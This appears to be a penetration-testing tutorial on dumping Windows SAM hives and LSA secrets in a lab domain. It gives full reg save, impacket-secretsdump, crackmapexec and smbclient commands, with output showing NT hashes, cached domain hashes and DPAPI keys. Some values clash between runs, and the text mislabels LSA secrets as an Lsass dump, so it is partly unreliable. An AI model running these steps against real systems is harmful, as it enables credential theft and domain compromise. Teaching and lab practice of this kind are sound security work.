



Lsass and SAM dump

Intro

Once we have understood how the Authentication process works on Windows. Concretely how when we introduce the credentials, a **logon session** associated with our user is created. That logon session will have associated some access tokens and the **credentials that had been introduced, hashed and stored in memory**. They will be managed by the LSA module and, in this module, by a process called **Lsass**.

So, what are we going to see in this section? We are going to see two techniques of hacking very important and very popular which consists of **dump**, on the one hand, of the process **Lsass where are all credentials active in the computer**, and, on the other hand, we are will dump the other credentials repository when a there is a local authentication, the database **SAM**.



Lsass and SAM dump

To do the Lsass and SAM dump we are going to need a **user with high privilege**. But why are we going to dump the **SAM** and the **Lsass** if we already have high privilege in the system? well, because we might have **high local privilege on the machine** but **not in the domain**. That's the reason why we try to get the **hashes** or the **passwords** of the users that are logged at the machine, **is to try to get the credentials of a user who already has high privilege in the domain**.

There are two cases of use that can interest us to perform this technique: 1) We already have compromised a local user with high privilege and we will try to enumerate if a domain user is making login on that machine.

So let's assume that we have compromised the local user of the system that was created before the domain user. Well, as we all know, **the local user**, the first local user created in the machine, **is usually part of the local administrators group** and we can use that user for this technique. BUT we have to use UAC Bypass techniques to dump that information or have a shell with admin Privs.

reg save hklm\sam sam.save

reg save hklm\system system.save

Another thing that may interest us, if we have compromised the credentials of a **domain user**, is to verify if **that user has elevated privileges on that local machine**, something that is usually relatively common. The advantage of a domain user having elevated privileges on a machine over a local user on that same machine is that **they do not have to go through the UAC to use these privileges**.

We can dump them in several ways, the first is with **impacket**:

impacket-secretsdump domainuser:password@10.10.10.10

```
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Service RemoteRegistry is in stopped state
[*] Service RemoteRegistry is disabled, enabling it
[*] Starting service RemoteRegistry
[*] Target system bootkey: 0x532e4e81658712788d61965544ab32bf
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:07e298b6ddf5039c781b021228dc79a8:::
Alexi:1000:aad3b435b51404eeaad3b435b51404ee:7a21990fcd3d759941e45c490f143d5f:::
[*] Dumping cached domain logon information (domain\username:hash)
CORP.LOCAL\employer1:$0CC2182408Administrator$590dc1744eaf8d0e94762b6d5d72c42d: (2025-02-08 00:10:51)
CORP.LOCAL\Administrator:$0CC2182408Administrator$590dc1744eaf8d0e94762b6d5d72c42d: (2024-12-16 22:49:50)
[*] Dumping LSA Secrets
[*] SMCRITIC.ACC
CORP\WS01:aes256-cts-hmac-sha1-96:2c7c5170e6d6d6a63e007949c988ce44d47476bf9b519ebc7d5ba3c9076051
CORP\WS01:aes128-cts-hmac-sha1-96:d01ff3060f252406067c7a2804c879f
CORP\WS01:des-cbc-md5:5100a7170d03d6d
CORP\WS01:plain_password_hex:a5b54d50715982d2468838ace9124b9f3f02a3af1687772e2fe949187a7be9a2bc992f56aa21286d0d613acd47791af80e889bf49f555bd0c5328a6f3b580b32ffda3b77690e648e9d3c094e3283d5d722fc92aaabefdd12dca6e495a1d4b491f34
96a131b0a74d0b72ed622932e3a49240947633b421805bc614d46f9f73c339022aa4003001adea1709e027e0910403f44af42b3652e4924982fb2ebc985c078de73cf06389dccc14091c7d6d2a3b194f5e65906ff362acbf48992283a3e52093c399735e4d1
59fd4f56355fd0909d2527e0d50a6836f4a248
CORP\WS01:aad3b435b51404eeaad3b435b51404ee:58de5de149c35ab7eb52706622a77b00:::
[*] ORAPL_SYSTEM
dapi_machinekey:0x22845263a6a68e05cf38fb8643afa298d6f806
dapi_userkey:0xf09eaffa208d9c27ae572175e934ab0c1713e5
[*] M5W
0000 18 21 51 A0 6D A0 83 0D 89 40 5A 38 0B 83 37 18 .!Q.m....BZ;..7.
0010 1F 0D 2A 07 01 01 5F 80 86 90 14 4D 45 7A 5F FA .....M.F..
0020 73 F5 7F 59 2A 3F 80 60 44 E7 89 F2 26 AC B8 BA s.Y.F'D.....
0030 02 FB AC A6 A5 90 A6 C7 F0 CB 83 7C 22 7A FF 8F ...L.E.F...!~2
0040 1B2151A06D6D306D9A053B0BB377B1F0D3A0781C15F0B069814D657A5F7A71F57F92A3F0B06A4E789F726ACBB402FB4CA6A590A6C7F0CB037C227AF8F
[*] Cleaning up...
[*] Stopping service RemoteRegistry
[*] Restoring the disabled state for service RemoteRegistry
```

And the other way is whit **crackmapexec** or **netexec** for the **SAM**:

crackmapexec smb 192.168.20.130 -u user -p password --sam

```
crackmapexec smb 192.168.20.130 -u employer1 -p Password01 --sam

SMB 192.168.20.130 445 WS01 [*] Windows 10 / Server 2019 Build 19041 x64 (name:WS01) (domain:corp.local) (signing:False) (SMBv1:False)
SMB 192.168.20.130 445 WS01 [*] corp.local\employer1:Password01 (Pwn3d!)
SMB 192.168.20.130 445 WS01 [*] Dumping SAM hashes
SMB 192.168.20.130 445 WS01 Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB 192.168.20.130 445 WS01 Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB 192.168.20.130 445 WS01 DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB 192.168.20.130 445 WS01 WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:07e298b6ddf5039c781b021228dc79a8:::
SMB 192.168.20.130 445 WS01 Alexi:1000:aad3b435b51404eeaad3b435b51404ee:7a21990fcd3d759941e45c490f143d5f:::
SMB 192.168.20.130 445 WS01 [*] Added 5 SAM hashes to the database
```

And for the **Isaas**:

```
crackmapexec smb 192.168.20.130 -u employer1 -p Password01 --lsa

SMB 192.168.20.130 445 WS01 [*] Windows 10 / Server 2019 Build 19041 x64 (name:WS01) (domain:corp.local) (signing:False) (SMBv1:False)
SMB 192.168.20.130 445 WS01 [*] corp.local\employer1:Password01 (Pwn3d!)
SMB 192.168.20.130 445 WS01 [*] Dumping LSA secrets
SMB 192.168.20.130 445 WS01 CORP.LOCAL\employer1:$0CC2182408Administrator$590dc1744eaf8d0e94762b6d5d72c42d: (2025-02-08 00:10:51)
SMB 192.168.20.130 445 WS01 CORP.LOCAL\Administrator:$0CC2182408Administrator$590dc1744eaf8d0e94762b6d5d72c42d: (2024-12-16 22:49:50)
SMB 192.168.20.130 445 WS01 CORP\WS01:aes256-cts-hmac-sha1-96:4296922061869484c3820bc13dceda0fddda185c799f05a05874e0ba0d2dccc
SMB 192.168.20.130 445 WS01 CORP\WS01:aes128-cts-hmac-sha1-96:c363c5b5666d1cb04770f72ac08
SMB 192.168.20.130 445 WS01 CORP\WS01:des-cbc-md5:6d58498bd3a3a768
SMB 192.168.20.130 445 WS01 CORP\WS01:plain_password_hex:a5b54d50715982d2468838ace9124b9f3f02a3af1687772e2fe949187a7be9a2bc992f56aa21286d0d613acd47791af80e889bf49f555bd0c5328a6f3b580b32ffda3b77690e648e9d3c094e3283d5d722fc92aaabefdd12dca6e495a1d4b491f34
96a131b0a74d0b72ed622932e3a49240947633b421805bc614d46f9f73c339022aa4003001adea1709e027e0910403f44af42b3652e4924982fb2ebc985c078de73cf06389dccc14091c7d6d2a3b194f5e65906ff362acbf48992283a3e52093c399735e4d1
59fd4f56355fd0909d2527e0d50a6836f4a248
SMB 192.168.20.130 445 WS01 CORP\WS01:aad3b435b51404eeaad3b435b51404ee:58de5de149c35ab7eb52706622a77b00:::
SMB 192.168.20.130 445 WS01 M5W:182151A06D6D306D9A053B0BB377B1F0D3A0781C15F0B069814D657A5F7A71F57F92A3F0B06A4E789F726ACBB402FB4CA6A590A6C7F0CB037C227AF8F
dapi_machinekey:0xf09eaffa208d9c27ae572175e934ab0c1713e5
SMB 192.168.20.130 445 WS01 [*] Dumped 9 LSA secrets to /home/kali/.cme/logs/WS01_192.168.20.130_2025-02-23_164612.secrets and /home/kali/.cme/logs/WS01_192.168.20.130_2025-02-23_164612.cached
```

The other way is dumping, from a reverse shell, the systems log whit the commands

reg save hklm\sam sam.save

reg save hklm\system system.save

```
C:\Users\Alex1\Desktop> reg save hklm\sam sam.save
The operation completed successfully.

C:\Users\Alex1\Desktop> reg save hklm\system system.save
The operation completed successfully.

C:\Users\Alex1\Desktop> dir
Volume in drive C has no label.
Volume Serial Number is 5459-CF7B

Directory of C:\Users\Alex1\Desktop

02/25/2025 05:22 PM <DIR> .
02/25/2025 05:22 PM <DIR> ..
02/25/2025 05:08 PM <DIR> New folder
02/25/2025 05:22 PM 57,344 sam.save
02/25/2025 05:22 PM 12,406,784 system.save
2 File(s) 12,464,128 bytes
3 Dir(s) 44,083,888,128 bytes free
```

→ System Logs

Then we have to take these files to our attacker machine. In this case i used transfer by smbclient

```
smb: \Users\Alex1\Desktop\> ls
.                DR            0 Tue Feb 25 16:22:23 2025
..               DR            0 Tue Feb 25 16:22:23 2025
desktop.ini      AHS          282 Fri Dec  6 17:35:01 2024
New folder       DR            0 Tue Feb 25 16:08:35 2025
sam.save         A           57344 Tue Feb 25 16:22:10 2025
system.save      A       12406784 Tue Feb 25 16:22:23 2025

15644159 blocks of size 4096, 10764430 blocks available
smb: \Users\Alex1\Desktop\> get sam.save
getting file \Users\Alex1\Desktop\sam.save of size 57344 as sam.save (595.7 KiloBytes/sec) (average 595.7 KiloBytes/sec)
smb: \Users\Alex1\Desktop\> get system.save
getting file \Users\Alex1\Desktop\system.save of size 12406784 as system.save (32923.9 KiloBytes/sec) (average 26346.3 KiloBytes/sec)
```

→ The files

And finally, we just have to use Impacket against to extract the information:

impacket-secretsdump -sam sam.save -system system.save LOCAL

And the result:

```
~/Desktop/Maquinas Active Directory/Hashs/Dump > impacket-secretsdump -sam sam.save -system system.save LOCAL
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Target system bootKey: 0x533c4e81658712788d61965544ab32bf
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:07e298b6dddf5039c781b021228dc79a8:::
Alex1:1000:aad3b435b51404eeaad3b435b51404ee:7a21990fcd3d759941e45c490f143d5f:::
[*] Cleaning up ...
```

→ Hashes